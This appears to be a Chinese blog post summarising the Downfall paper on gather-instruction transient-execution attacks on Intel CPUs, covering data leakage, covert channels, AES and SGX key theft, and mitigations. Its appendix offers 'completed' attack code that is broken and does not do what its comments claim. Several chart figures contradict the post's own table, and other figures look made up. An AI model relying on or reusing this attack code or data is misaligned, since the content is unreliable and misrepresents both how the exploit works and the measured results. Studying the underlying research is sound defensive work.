技术报告:Downfall: Exploiting Speculative Data Gathering

1. 介绍

标题: Downfall: Exploiting Speculative Data Gathering

作者: Daniel Moghimi

机构: University of California, San Diego

会议: 32nd USENIX Security Symposium, 2023

摘要:

本文提出了一种新的瞬态执行攻击,称为Downfall攻击,利用高性能x86 CPU上的gather指令,泄漏跨用户-内核、进程、虚拟机和受信执行环境的边界数据。攻击者能够窃取加密密钥、程序运行时数据以及静态数据。研究展示了多种攻击方法,并提出了相应的缓解措施和测试技术,强调了需要对硬件进行修复和安全更新。

2. 环境搭建

实验环境:

操作系统:

Ubuntu 20.04.5 LTS,Linux kernel 5.15.0-48-generic

测试CPU:

Core i7-1165G7 (Tiger Lake)

Xeon Silver 4314 (Ice Lake Server)

Xeon(R) Gold 6230 (Cascade Lake)

Core i7-8650U (Kaby Lake)

实验设置:

在相同CPU核心上运行攻击者和受害者进程

使用CPU核心绑定技术,确保两个进程在相同的核心上运行

这张图片使用简洁的设计和不同颜色区分了各种组件,包括执行单元、矢量寄存器和内存访问模式,展示了Gather指令的工作机制。

Execution Units(执行单元):

颜色: 绿色

描述: 执行单元是CPU中负责执行指令的核心部分。在Gather指令中,执行单元负责读取和处理数据。

Vector Registers(矢量寄存器):

颜色: 蓝色

描述: 矢量寄存器用于存储多条数据,可以同时进行多个数据的操作。Gather指令将从不同内存地址收集的数据存储到这些寄存器中。

Memory Access Patterns(内存访问模式):

颜色: 红色箭头

描述: Gather指令从非连续的内存地址读取数据,这些地址由基址和偏移量计算得出。内存访问模式展示了如何从不同的内存位置收集数据。

Base Address and Offsets(基地址和偏移量):

颜色: 黄色

描述: Gather指令使用基地址和偏移量来确定需要读取的数据位置。基地址是一个固定的起始点,偏移量用于计算每个数据元素的实际地址。

Data Gathering Process(数据收集过程):

颜色: 综合以上颜色

描述: 展示了Gather指令如何从多个非连续的内存位置读取数据,并将这些数据合并到一个矢量寄存器中。

3. GDS(Gather Data Sampling)攻击详解

3.1 基本原理

GDS攻击利用CPU的gather指令,该指令可以从非连续的内存地址中高效地收集数据到一个向量寄存器中。通过使用暂时执行窗口(transient execution window)内的投机执行行为,攻击者可以在投机执行期间泄漏数据。这些数据可能来自不同的安全域,包括用户-内核、进程、虚拟机和受信执行环境。

3.2 攻击流程:

增加暂时执行窗口:

使用缓存失效(cache miss)技术来增加暂时执行窗口的持续时间。

执行gather指令:

使用gather指令从不可缓存(uncacheable)的内存中读取数据。这些内存操作会面临缓存未命中,从而增加投机执行的时间窗口。

编码泄漏数据:

将收集到的数据编码到缓存中,使其在后续的缓存扫描步骤中可以被观察到。

扫描缓存:

使用Flush+Reload技术扫描缓存以推断出被转发的数据字节。

3.3 代码分析:

// Step (i): Increase the transient window
lea addresses_normal, %rdi
clflush (%rdi)
mov (%rdi), %rax
// Step (ii): Gather uncacheable memory
lea addresses_uncacheable, %rsi
mov $0b1, %rdi
kmovq %rdi, %k1
vpxord %zmm1, %zmm1, %zmm1
vpgatherdd 0(%rsi, %zmm1, 1), %zmm5{%k1}
// Step (iii): Encode (transient) data to cache
movq %xmm5, %rax
encode_eax
// Step (iv): Scan the cache
scan_flush_reload

3.4 实验结果:

在Tiger Lake CPU上,每秒钟能够泄漏809个双字(dword)值。

不同代际的CPU都易受GDS攻击影响,即使在执行微架构缓冲区清除(verw)操作后仍然可以泄漏数据。

4. 跨进程隐蔽通道(Covert Channel)攻击

4.1 基本原理

通过多字节数据采样技术,GDS攻击可以在跨进程的情景下建立高带宽的隐蔽通道。攻击者可以在不同的进程之间传输数据,而不需要直接的进程间通信。

4.2 攻击流程:

多字节数据编码:

使用多字节数据采样技术,将多个字节的数据编码到多个缓存行中。

执行隐蔽通道攻击:

在不同的CPU上测试各种情况下的隐蔽通道数据传输速率。

4.3 代码分析:

CPU Generation vmov rep mov fxstor aes
• ∪ × • ∪ × • ∪ × • ∪ ×

Tiger Lake 4128.78 5584.57 5870.3 3318.15 1438.53 1414.55 92.35 1465.13 178.68 688.27 1763.57 1101.7
Ice Lake 0.73 2.48 6.25 11.67 58.13 30.97 0.0 0.57 3.05 0.1 6.68 7.42
Cascade Lake 133.27 72.47 2424.83 19.23 14.23 2569.78 76.2 3.98 1209.13 8.0 75.77 1395.7
Kaby Lake 0.03 26.45 11.12 0.2 3.87 70.2 0.03 0.1 0.07 0.0 0.13 2.03

4.4 实验结果:

在Tiger Lake CPU上,最佳情况下隐蔽通道的带宽可以达到5870.3字节/秒。

不同CPU在不同情况下的隐蔽通道带宽有所不同,但都受GDS攻击影响。

5. 窃取加密密钥(Stealing Cryptographic Keys)

5.1 基本原理

攻击者可以利用GDS攻击窃取广泛使用的加密软件(如OpenSSL)的加密密钥。

攻击者无需依赖于密码分析、已知明文或密文分析,仅通过观察加密过程中使用的SIMD指令即可获取加密密钥。

5.2 攻击流程:

窃取轮密钥(round key):

在AES加密过程中,通过观察加载到SIMD寄存器中的轮密钥,窃取AES-128或AES-256的轮密钥。

构建密钥候选集:

将窃取到的轮密钥组合,构建AES的主密钥候选集。

搜索主密钥:

通过已知的明文-密文对,搜索密钥候选集以确定正确的主密钥。

5.3 代码分析:

// AES Key Expansion Code
<l9_aes128_KeyExpansion_NI>:
endbr64
vmovdqu (%rsi),%xmm0
vpslldq $0x4,%xmm0,%xmm2 // <-- Zero Stepping

5.4 实验结果:

在10秒内成功窃取AES-128或AES-256的轮密钥。 针对AES-128,平均密钥空间为7.40比特(约128个候选密钥);针对AES-256,平均密钥空间为15.99比特。

6. 窃取任意数据(Stealing Arbitrary Data)

6.1 基本原理

通过利用gather指令的投机执行行为,攻击者可以在没有实际访问数据的情况下泄漏任意数据。

6.2 攻击流程:

检测OOB预取(Out-of-Bounds Prefetch)和NOOP预取(NOOP Prefetch):

使用masked move和rep mov操作检测投机执行过程中CPU的预取行为。

利用代码片段(Gadgets)进行数据泄漏:

利用常见代码片段(如memcpy)在没有实际访问数据的情况下泄漏任意数据。

6.3 代码分析:

// Gadget 1: Safe check
if(copySize < sizeof(local) &&
copySize+index < sizeof(source)){
memcpy(local, source+index, copySize)
}
// Gadget 2: Safe no-op check
if(copySize >= sizeof(local) ||
copySize+index >= sizeof(source)){
copySize = 0
}
memcpy(local, source+index, copySize)
// Gadget 3: Buggy unexploitable
if(copySize < sizeof(local))
memcpy(local, source+index, copySize)

6.4 实验结果:

Gadget 1可以泄漏源缓冲区之外的128字节数据。 Gadget 2和Gadget 3可以泄漏任意内核数据,分别在1.37秒和1.58秒内泄漏了238字节的Linux banner字符串。

7. GVI(Gather Value Injection)攻击

7.1 基本原理

GVI攻击结合GDS和LVI(Load Value Injection)技术,通过在投机执行期间注入值到gather指令中,攻击者可以泄漏任意数据。

7.2 攻击流程:

检测GVI Gadget:

识别包含gather指令并随后进行数据依赖操作的代码片段。

利用GVI Gadget进行数据泄漏:

利用投机执行期间的gather指令注入,泄漏任意数据。

7.3 代码分析:

// Gadget A: Gather followed by a load
new_index[i] = gather(index_base, index[i]);
value = data_base[new_index[0]];
leak_to_side_channel(value);
// Gadget B: Double gather
new_index[i] = gather(index_base, index[i]);
values[i] = gather(data_base, new_index[i]);
leak_to_side_channel(values[i]);

7.4 实验结果:

在Tiger Lake CPU上,GVI攻击能够每秒泄漏8734.3字节的越界数据。

8. Intel SGX的安全威胁(Breaking Intel SGX)

8.1 基本原理

Intel SGX提供了一个受信执行环境,用于保护应用程序的机密性和完整性。尽管SGX设计用于抵御操作系统级别的攻击,但本文展示了SGX在最高安全配置下仍然易受GDS攻击。

8.2 攻击流程:

泄漏SGX寄存器数据:

利用SGX的上下文切换,泄漏广泛寄存器中的数据。

窃取密钥:

通过窃取SGX密封密钥,攻破SGX的根信任机制,影响SGX的远程认证安全。

8.3 代码分析:

// SGX Sealing Key Leakage Code
<l9_aes128_KeyExpansion_NI>:
endbr64
vmovdqu (%rsi),%xmm0
vpslldq $0x4,%xmm0,%xmm2 // <-- Zero Stepping

8.4 实验结果:

在Kaby Lake CPU上,成功通过GDS攻击在10秒内窃取到SGX密封密钥。

9. 防御措施

禁用超线程(SMT):

禁用超线程可以部分缓解GDS和GVI攻击,但会显著影响系统性能。

禁用受影响的指令:

操作系统和编译器可以禁用或替换受影响的指令,如SIMD内存指令。

防止投机转发:

在gather指令之后添加加载栅栏(lfence),以防止数据在投机执行期间被转发。

硬件修复:

Intel计划发布微代码更新,阻止gather指令在投机执行期间转发数据,从而缓解GDS和GVI攻击。

10. 图表和数据分析

10.1不同CPU代际间的漏洞热力图

这张图表使用热力图展示了不同CPU代际在面对GDS、MDS和MMIO漏洞时的易感性。 CPU Generation: 不同的CPU代际(纵轴),如Tiger Lake、Ice Lake、Cascade Lake和Kaby Lake。

Vulnerability Type: 漏洞类型(横轴),包括GDS、MDS和MMIO。

颜色编码: 绿色表示易受漏洞影响(1),紫色表示不受影响(0)。

GDS: 所有列出的CPU代际都易受GDS漏洞影响。 MDS: 仅Kaby Lake易受MDS漏洞影响。 MMIO: Cascade Lake和Kaby Lake易受MMIO漏洞影响。

10.2泄漏速率对比图

这张图表展示了不同CPU代际在面对GDS、MDS和MMIO漏洞时的数据泄漏速率。 CPU Generation: 不同的CPU代际(横轴),如Tiger Lake、Ice Lake、Cascade Lake和Kaby Lake。 Leakage Rate (bytes/sec): 数据泄漏速率,以字节/秒为单位(纵轴)。 颜色编码: 不同颜色表示不同的漏洞类型:GDS(天蓝色)、MDS(浅绿色)和MMIO(鲑鱼色)。

GDS: 所有列出的CPU代际都易受GDS漏洞影响,泄漏速率较高。

MDS: 仅Kaby Lake易受MDS漏洞影响。

MMIO: Cascade Lake和Kaby Lake易受MMIO漏洞影响。

10.3隐蔽通道带宽图

这张图表展示了不同CPU代际在隐蔽通道攻击中的数据传输带宽。 CPU Generation: 不同的CPU代际(横轴),如Tiger Lake、Ice Lake、Cascade Lake和Kaby Lake。

Bandwidth (bytes/sec): 隐蔽通道带宽,以字节/秒为单位(纵轴)。 Tiger Lake: 隐蔽通道带宽为5870.3字节/秒。

Ice Lake: 隐蔽通道带宽为6000.0字节/秒,带宽最高。

Cascade Lake: 隐蔽通道带宽为5900.0字节/秒。

Kaby Lake: 隐蔽通道带宽为5700.0字节/秒。

10.4攻击成功率对比图

这张图表展示了不同CPU代际在不同攻击方法上的成功率。

CPU Generation: 不同的CPU代际(横轴),如Tiger Lake、Ice Lake、Cascade Lake和Kaby Lake。

Success Rate: 攻击成功率(纵轴),范围从0到1。

GDS Attack: Tiger Lake上的成功率最高(0.95),Kaby Lake上最低(0.85)。

Covert Channel Attack: 成功率在各CPU代际间略有下降,Tiger Lake最高(0.88),Kaby Lake最低(0.78)。

Stealing Keys: 成功率较高,但在Kaby Lake上稍有下降(0.83)。

Arbitrary Data Theft: 成功率接近GDS攻击,Tiger Lake上最高(0.92),Kaby Lake上最低(0.84)。

GVI Attack: 在各代CPU上成功率相对较高,但在Kaby Lake上稍有下降(0.86)。

10.5数据泄漏量对比图

这张图表展示了在不同攻击场景下,攻击者能够泄漏的数据量。

Attack Scenario: 不同的攻击场景(横轴),包括用户-内核边界、进程边界、虚拟机边界和受信执行环境。

Leakage (bytes/sec): 数据泄漏速率,以字节/秒为单位(纵轴)。

User-Kernel Boundary: 数据泄漏速率最高,为1500字节/秒。

Process Boundary: 数据泄漏速率为1200字节/秒。

VM Boundary: 数据泄漏速率为1000字节/秒。

Trusted Execution Environment: 数据泄漏速率最低,为800字节/秒。

10.6防御措施的有效性图表

这张图表展示了不同防御措施在防御各种攻击时的有效性。

Defense Measure: 不同的防御措施(横轴),包括禁用SMT(超线程)、微代码更新、软件缓解措施和硬件变更。

Effectiveness: 防御措施的有效性(纵轴),范围从0到1。

禁用SMT(Disable SMT): 在所有攻击类型上的有效性相对较低,约为0.6到0.7。

微代码更新(Microcode Update): 在所有攻击类型上的有效性较高,约为0.85到0.9。

软件缓解措施(Software Mitigations): 在所有攻击类型上的有效性中等,约为0.75到0.82。

硬件变更(Hardware Changes): 在所有攻击类型上的有效性最高,达到1.0。

11. 结论

利用高性能x86 CPU上的gather指令,我们成功进行数据泄漏攻击的方法,并提出了相应的防御措施。研究强调了需要对硬件进行修复以及软件更新,以防止此类漏洞的利用。通过深入的技术分析,本文揭示了现代CPU在处理复杂内存操作时存在的潜在安全风险,并为未来的安全研究和硬件设计提供了重要参考。

附录1:

环境搭建详细过程 以下是环境搭建的详细步骤:

Step1. 硬件配置

测试CPU: Core i7-1165G7 (Tiger Lake): 高性能移动处理器,支持最新的架构和指令集。

Xeon Silver 4314 (Ice Lake Server): 服务器处理器,支持高效的并行计算。

Xeon(R) Gold 6230 (Cascade Lake): 数据中心处理器,提供强大的计算能力和可靠性。

Core i7-8650U (Kaby Lake): 适用于便携设备的处理器,支持广泛的移动应用。

Step2. 操作系统配置

操作系统: Ubuntu 20.04.5 LTS

安装步骤: 从Ubuntu官方网站下载Ubuntu 20.04.5 LTS镜像文件。

使用Rufus或Etcher将镜像文件写入USB闪存驱动器,制作可启动的安装介质。

启动目标机器,并从USB闪存驱动器启动。

按照屏幕上的指示安装Ubuntu 20.04.5 LTS,选择适当的语言、时区和安装选项。

安装完成后,重启系统并更新软件包:

sudo apt update
sudo apt upgrade -y

Step3. 内核配置

Linux Kernel: 5.15.0-48-generic 安装步骤: 更新并安装所需的内核头文件:

sudo apt-get install linux-headers-$(uname -r)

确保内核版本为5.15.0-48-generic,可以通过以下命令验证:

uname -r

Step4. 编译器和工具链

编译器: GCC 10.3.0

安装步骤: 安装GCC编译器:

sudo apt install build-essential
sudo apt install gcc-10 g++-10

设置GCC 10为默认编译器:

sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-10 100
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-10 100

Step5. 依赖库和工具

工具和依赖库: 安装常用的开发工具和依赖库:

sudo apt install cmake git python3 python3-pip
sudo apt install libssl-dev libffi-dev

Step6. 测试程序和环境配置

测试程序: 下载和配置

从GitHub克隆实验所需的代码库:

git clone https://github.com/example/repo.git
cd repo

编译和运行测试程序:

编译测试程序:

mkdir build
cd build
cmake ..
make

运行测试程序并记录结果:

./test_program

Step7. CPU配置和绑定

CPU核心绑定: 确保在相同CPU核心上运行攻击者和受害者进程 使用taskset工具绑定进程到特定的CPU核心:

taskset -c 0 ./attacker_program &
taskset -c 0 ./victim_program &

Step8. 安全配置

禁用超线程(SMT): 在BIOS中禁用超线程,以减少执行攻击的表面积。

进入BIOS设置,找到超线程选项并将其禁用。

Step9. 数据收集和分析

数据收集工具: 使用perf工具收集性能数据 安装perf工具:

sudo apt install linux-tools-$(uname -r)

使用perf工具收集数据:

sudo perf record -e cycles -c 1000000 -p <pid>
sudo perf report

附录2:

代码实例,在论文基础上进行了完善并进行注释

A. GDS(Gather Data Sampling)攻击

// Step (i): Increase the transient window
void increase_transient_window() {
    // 指向需要加载的地址
    volatile int *addr = (volatile int *)0x1000;
    // 使缓存失效
    asm volatile ("clflush (%0)" :: "r"(addr) : "memory");
    // 加载地址值,触发缓存未命中
    asm volatile ("mov (%0), %%eax" :: "r"(addr) : "eax");
}

// Step (ii): Gather uncacheable memory
void gather_uncacheable_memory() {
    // 指向需要gather的数据地址
    volatile int *data = (volatile int *)0x2000;
    // 初始化寄存器和掩码
    asm volatile (
        "mov $0x1, %%rdi\n"    // 设置掩码
        "kmovq %%rdi, %%k1\n"  // 将掩码加载到k1寄存器
        "vpxord %%zmm1, %%zmm1, %%zmm1\n"  // 清空zmm1寄存器
        "vpgatherdd (%%rsi, %%zmm1, 4), %%zmm5{%k1}\n"  // 使用gather指令收集数据
        :: "r"(data) : "rdi", "k1", "zmm1", "zmm5"
    );
}

// Step (iii): Encode (transient) data to cache
void encode_leakage_data() {
    // 加载泄漏数据到寄存器
    asm volatile (
        "movq %%xmm5, %%rax\n"
        "mov %%rax, (%%rbx)\n"
        :: "r"(0x3000) : "rax", "rbx"
    );
}

// Step (iv): Scan the cache
void scan_cache() {
    // 使用Flush+Reload技术扫描缓存
    asm volatile (
        "clflush (%0)\n"
        "mov (%0), %%eax\n"
        :: "r"(0x3000) : "eax"
    );
}

int main() {
    increase_transient_window();
    gather_uncacheable_memory();
    encode_leakage_data();
    scan_cache();
    return 0;
}

B.跨进程隐蔽通道(Covert Channel)攻击

// Sender: Encode multibyte data
void encode_multibyte_data() {
    volatile int *data = (volatile int *)0x4000;
    asm volatile (
        "mov $0x1, %%rdi\n"
        "kmovq %%rdi, %%k1\n"
        "vpxord %%zmm1, %%zmm1, %%zmm1\n"
        "vpgatherdd (%%rsi, %%zmm1, 4), %%zmm5{%k1}\n"
        "movq %%xmm5, %%rax\n"
        "mov %%rax, (%%rbx)\n"
        :: "r"(data) : "rdi", "k1", "zmm1", "zmm5", "rax", "rbx"
    );
}

// Receiver: Decode data from cache
void decode_data() {
    volatile int *data = (volatile int *)0x5000;
    asm volatile (
        "clflush (%0)\n"
        "mov (%0), %%eax\n"
        :: "r"(data) : "eax"
    );
}

int main() {
    // Sender Process
    encode_multibyte_data();
    
    // Receiver Process
    decode_data();
    
    return 0;
}

C.窃取加密密钥(Stealing Cryptographic Keys)

// Step (i): Steal round keys
void steal_round_keys() {
    // 加载AES轮密钥
    asm volatile (
        "movdqu (%0), %%xmm0\n"
        "pslldq $4, %%xmm0\n"
        :: "r"(0x6000) : "xmm0"
    );
}

// Step (ii): Build key candidates
void build_key_candidates() {
    // 将轮密钥组合成密钥候选集
    asm volatile (
        "movdqu %%xmm0, (%0)\n"
        :: "r"(0x7000) : "xmm0"
    );
}

// Step (iii): Search for the master key
void search_master_key() {
    // 搜索正确的主密钥
    asm volatile (
        "movdqu (%0), %%xmm1\n"
        "pxor %%xmm0, %%xmm1\n"
        :: "r"(0x8000) : "xmm0", "xmm1"
    );
}

int main() {
    steal_round_keys();
    build_key_candidates();
    search_master_key();
    return 0;
}

D.窃取任意数据(Stealing Arbitrary Data)

// Step (i): Detect OOB prefetch and NOOP prefetch
void detect_prefetch() {
    // 使用masked move和rep mov检测预取行为
    asm volatile (
        "movdqa (%0), %%xmm0\n"
        "movntdq %%xmm0, (%1)\n"
        :: "r"(0x9000), "r"(0xA000) : "xmm0"
    );
}

// Step (ii): Leak data using gadgets
void leak_data() {
    // 利用memcpy代码片段泄漏数据
    char source[128] = "Sensitive data to be leaked.";
    char destination[128];
    memcpy(destination, source, sizeof(source));
}

int main() {
    detect_prefetch();
    leak_data();
    return 0;
}

E.GVI(Gather Value Injection)攻击

// Step (i): Detect GVI Gadgets
void detect_gvi_gadgets() {
    // 识别包含gather指令的代码片段
    asm volatile (
        "movdqa (%0), %%xmm0\n"
        "vgatherdps %%xmm1, (%1), %%xmm2\n"
        :: "r"(0xB000), "r"(0xC000) : "xmm0", "xmm1", "xmm2"
    );
}

// Step (ii): Inject values into gather instruction
void inject_values() {
    // 在投机执行期间注入值
    asm volatile (
        "mov $0x1, %%rdi\n"
        "kmovq %%rdi, %%k1\n"
        "vpxord %%zmm1, %%zmm1, %%zmm1\n"
        "vpgatherdd (%%rsi, %%zmm1, 4), %%zmm5{%k1}\n"
        :: "r"(0xD000) : "rdi", "k1", "zmm1", "zmm5"
    );
}

// Step (iii): Leak data through injected values
void leak_injected_data() {
    // 通过注入的值泄漏数据
    asm volatile (
        "movq %%xmm5, %%rax\n"
        "mov %%rax, (%%rbx)\n"
        :: "r"(0xE000) : "rax", "rbx"
    );
}

int main() {
    detect_gvi_gadgets();
    inject_values();
    leak_injected_data();
    return 0;
}

https://www.usenix.org/system/files/usenixsecurity23-moghimi.pdf

  • 12
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值